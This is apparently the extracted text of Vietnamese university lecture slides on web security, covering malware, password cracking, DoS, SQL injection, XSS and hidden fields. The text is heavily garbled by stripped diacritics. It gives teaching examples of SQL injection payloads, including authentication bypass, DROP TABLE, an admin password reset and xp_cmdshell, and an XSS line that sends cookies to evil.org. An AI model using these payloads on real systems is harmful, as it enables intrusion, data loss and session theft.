Thi t k & L p trình Web – Bài 11: Web Security N i dung Thi t k & L p trình Web M t s khái ni m v B o m t M t s l h ng b o m t Web & cách phịng tránh Bài 11 Các Cơng c h tr ki m tra b o m t Web Web Security Ths Tr n Th Bích H nh Khoa CNTT – H.KHTN © 2009 Khoa Công ngh thông tin Thi t k & L p trình Web – Bài 11: Web Security © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security N i dung Threats & Vulnerability M t s khái ni m v B o m t Threats M t s l h ng b o m t Web & cách phòng tránh – Hành ng ho c s ki n gây h i n h th ng Các Công c h tr ki m tra b o m t Web Vulnerability – L h ng ho c i m y u c a h th ng mà t ng i xâm nh p vào h th ng khác â h © 2009 Khoa CNTT - HKHTN © 2009 Khoa CNTT - HKHTN ó cho phép Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security Malicious Software B ov ng d ng Virus S d ng Firewall – Các ch ng trình có kh n ng t nhân b n lây nhi m vào t p tin máy tính S d ng Ch ng trình Anti-virus S d ng Ch ng trình Anti-spyware – Khi ng i dùng th c thi m t t p tin b nhi m virus s kích ho t virus ho t ng Trojan j – Ch ng trình thu th p thơng tin d li u t máy tính Worm o – Các ch ng trình có kh n ng nhân b n t máy tính sang máy tính khác nh m m c tiêu chi m th i gian x lý CPU th i gian i xóa chúng ó hú © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security HKHTN Thi t k & L p trình Web – Bài 11: Web Security Password Cracking Ph © 2009 Khoa CNTT - Khơng mã hóa m t kh u ng pháp l u m t kh u – Không mã hóa – Mã hóa chi u – M hó chi u Mã hóa hi Password cracking – Brute force attack – Dictionary attack © 2009 Khoa CNTT - HKHTN © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security Mã hóa chi u Mã hóa chi u © 2009 Khoa CNTT - HKHTN 10 Thi t k & L p trình Web – Bài 11: Web Security © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Password Cracking Password Cracking (tt) (tt) Brute force attack – Mã hóa hàng ngàn passwords có s n b ng hàm hash – So sánh k t qu v i d li u hash database Dictionary attack – L u danh sách username & password thông d ng – Dùng thơng tin 11 © 2009 Khoa CNTT - HKHTN 12 th ng nh p h th ng © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security B o v m t kh u Gi i h n s l n E-mail Attacks ng nh p th t b i E-mail Bombing S d ng m t kh u m nh ( t h (strong password) d) – G i m t email nhi u l n ù il hi – Chi u dài t i thi u – M c tiêu chi m – Không s d ng t t – K t h p ch cái, kí t s , kí t Ch ng th c ng i dùng c bi t E-mail Spamming i & reset m t kh u – G i email i dùng: m t kh u c , – Th n nhi u user ng s d ng mailing list c yêu c u reset m t kh u c ng nên xác nh n l i yêu u, S d ng giao th c tin c y x 13 © 2009 Khoa CNTT - lý m t kh u 14 HKHTN Thi t k & L p trình Web – Bài 11: Web Security Khơng hi n th © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security B o v Email Denial-ofDenial-of-Service (DoS) Attacks (DoS) a ch email web G i liên ti p nhi u yêu c u Gui mail S d ng hình nh ho c ký t t bi t thay th – Chi m phòng nh p li u t © 2009 Khoa CNTT - HKHTN ng truy n m ng – Ch n k t n i gi a hai máy tính – Làm cho server khơng có kh n ng ph c v client Thi t l p rule cho mailing list ch nh n email t mail n i b S d ng CAPCHA n server M c tiêu Ttbhanh at fit dot hcmuns dot edu dot 15 ng truy n x lý c a mail server i n dãy ký t liên ti p n, – Khi thay i m t kh u, nên ch ng th c l i ng tài kho n ng i dùng… – Khi nh n c u reset n m t user ng… 16 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security DoS Attacks N i dung M t s khái ni m v B o m t M t s l h ng b o m t Web & cách phịng tránh Các Cơng c h tr ki m tra b o m t Web 17 © 2009 Khoa CNTT - HKHTN 18 Thi t k & L p trình Web – Bài 11: Web Security © 2009 Khoa CNTT - Thi t k & L p trình Web – Bài 11: Web Security M t s l h ng b o m t Web & cách phòng tránh M t s l h ng b o m t Web & cách phòng tránh SQL Injection SQL Injection XSS (Cross-Site Scripting) XSS (Cross-Site Scripting) Hidden Field Vulnerability Hidden Field Vulnerability Failing to Handle Error 19 HKHTN Failing to Handle Error © 2009 Khoa CNTT - HKHTN 20 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security SQL Injection Các d ng t n công SQL Injection V M t k thu t cho phép nh ng k t n công l i d ng l h ng t vi c ki m t d li u nh p i tra h ng d ng web thông báo l i c a h qu n tr c s d li u a vào thi hành câu l nh SQL b t h p pháp 21 © 2009 Khoa CNTT - HKHTN t Ki m tra lúc Câu SQL th Thay i d li u G i th c thi ch ng trình khác 22 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security ng nh p ng dùng ng nh p (authorization bypass) L y d li u Thi t k & L p trình Web – Bài 11: Web Security V t qua ki m tra lúc V ng nh p: t Ki m tra lúc v t qua, ng ng nh p (tt) tt) i dùng nh p: strUsername: strPassword: strSQL = "SELECT * FROM Users " ' or '' = ' ' or '' = ' + "WHERE Username='" + strUsername + "'" + " and Password='" + strPassword + "'" Câu SQL lúc này: SELECT * FROM Users Where Username = '' or '' = '' and Password = '' or '' = '' Câu SQL úng, tr v t t c thông tin b ng Users 23 © 2009 Khoa CNTT - HKHTN 24 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security L y d li u - S d ng câu Select L y d li u - S d ng câu Select & Union Xem chi ti t b n tin M t s ví d khác – h // http://www.myhost.com/shownews.aspx?ID=123 h /h ?ID 123 ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' – Code x lý string ID = Request.QueryString[“ID"]; n u h th ng báo l i v cú pháp d ng: Invalid object name string strSQL = "select * from News “OtherTable”; ta có th bi t ch c h th ng ã th c hi n câu SELECT sau t khóa UNION where NewsID=" + ID; NewsID N u ng i dùng thay ch 123 b ng chu i or 1=1 ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' Khi ó câu l nh SQL: – select * from News where NewsID=0 or 1=1 Li t kê tên t t c b ng d li u K t qu s hi n t t c tin t c 25 © 2009 Khoa CNTT - HKHTN 26 © 2009 Khoa CNTT - Thi t k & L p trình Web – Bài 11: Web Security Thay HKHTN Thi t k & L p trình Web – Bài 11: Web Security i d li u - S d ng câu l nh Insert Thay i d li u – S d ng câu l nh Update & Drop ; DROP TABLE Câu l nh dùng: string strSQL = "INSERT INTO TableName " Xóa b ng d li u + "VALUES('" + strValue1 + "','" + strValue2 + "','“ + strValue3 + "')" t V l N u ng i dùng nh p tr ; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’ ng th nh t (strValue1) '+(SELECT ' (SELECT TOP Fi ldN FieldName FROM T bl N TableName)+' ) ' T o a ch email m i sau ó s d ng ch c n ng password recovery Khi ó câu l nh SQL: INSERT INTO T bl N TableName VALUES(' ' + (SELECT TOP FieldName FROM TableName) + ' ', 'abc', 'def') ‘ UNION UPDATE USERS S O S S SET PASSWORD=‘your pass’ SS O ‘ ’ WHERE username=‘admin’ Thi t l p m t kh u m i Ngồi l nh Insert, câu l nh th c hi n l nh Select 27 © 2009 Khoa CNTT - HKHTN 28 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security G i th c thi ch Thi t k & L p trình Web – Bài 11: Web Security ng trình khác - S d ng stored-procedures stored- Cách phịng tránh Th c thi v i quy n qu n tr h th ng ‘sa’ Ki m soát ch t ch d li u nh p vào – '; EXEC xp_cmdshell 'cmd.exe dir C:' – Vi t hàm l c ký t Th c hi n l nh li t kê th m c a C:\ cài – Vd: " ", "'", ";", " ", "xp_", "select", drop , insert , delete "drop", "insert", "delete" t server Vi c phá ho i ki u tu thu c vào câu l nh p cmd.exe c bi t chu i nh p vào ng sau g Thi t l p c u hì h an t cho h qu n t c s d li u hình toàn h tr – Gi i h n quy n x lí d li u – Tránh dùng 29 © 2009 Khoa CNTT - HKHTN HKHTN Thi t k & L p trình Web – Bài 11: Web Security M t s l h ng b o m t Web & cách phòng tránh XSS (Cross-Site Scripting) (Cross- SQL Injection M t k thu t cho phép nh ng k t n công l i d ng l h ng vi c ki m tra d li u nh p ng d ng web thông báo l i nh m chèn nh ng o n mã script nguy hi m có th gây nguy h i cho nh ng ng i s d ng XSS (Cross-Site Scripting) Hidden Field Vulnerability Failing to Handle Error © 2009 Khoa CNTT - i dùng n quy n nh dbo hay sa sa © 2009 Khoa CNTT - Thi t k & L p trình Web – Bài 11: Web Security 31 n tài kho n ng HKHTN 32 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security Phát hi n l h ng XSS Phát hi n l h ng XSS – Ví d Vào website c n ki m tra nh v form nh p li u: search, login form, querystring… querystring Nh p ho c chèn o n script vào form nh p li u ho c ng d n url & submit Ví d alert(‘XSS’); N u th y c a s alert xu t hi n website có l h ng XSS 33 © 2009 Khoa CNTT - Ref: http://ha.ckers.org/xss.html HKHTN 34 Thi t k & L p trình Web – Bài 11: Web Security © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security T n công XSS T n cơng XSS – Ví d i=new Image(); i.src="http://www.evil.org/getcookie.aspx?cookie=" + escape(document.cookie); 35 © 2009 Khoa CNTT - HKHTN 36 © 2009 Khoa CNTT - HKHTN Thi t k & L p trình Web – Bài 11: Web Security Thi t k & L p trình Web – Bài 11: Web Security Cách phòng tránh M t s l h ng b o m t Web & cách phòng tránh Ki m tra d li u nh p t ng SQL Injection i dùng – Ch ch p nh n nh ng d li u h p l XSS (Cross-Site Scripting) – L c ký t Hidden Field Vulnerability c bi t – Phát hi n th script Failing to Handle Error Mã hố (encoding) kí t c bi t tr c in website nh m ng n ch n website t th c thi script không mong mu n 37 © 2009 Khoa CNTT - 38 HKHTN Thi t k & L p trình Web – Bài 11: Web Security HKHTN Thi t k & L p trình Web – Bài 11: Web Security Hidden Field Vulnerability Là thơng tin n trang web, © 2009 Khoa CNTT - Hidden Field Vulnerability – Ví d c th hi n d i th Khơng hi n th lên trình t Có th xem c v i ch c n ng View Source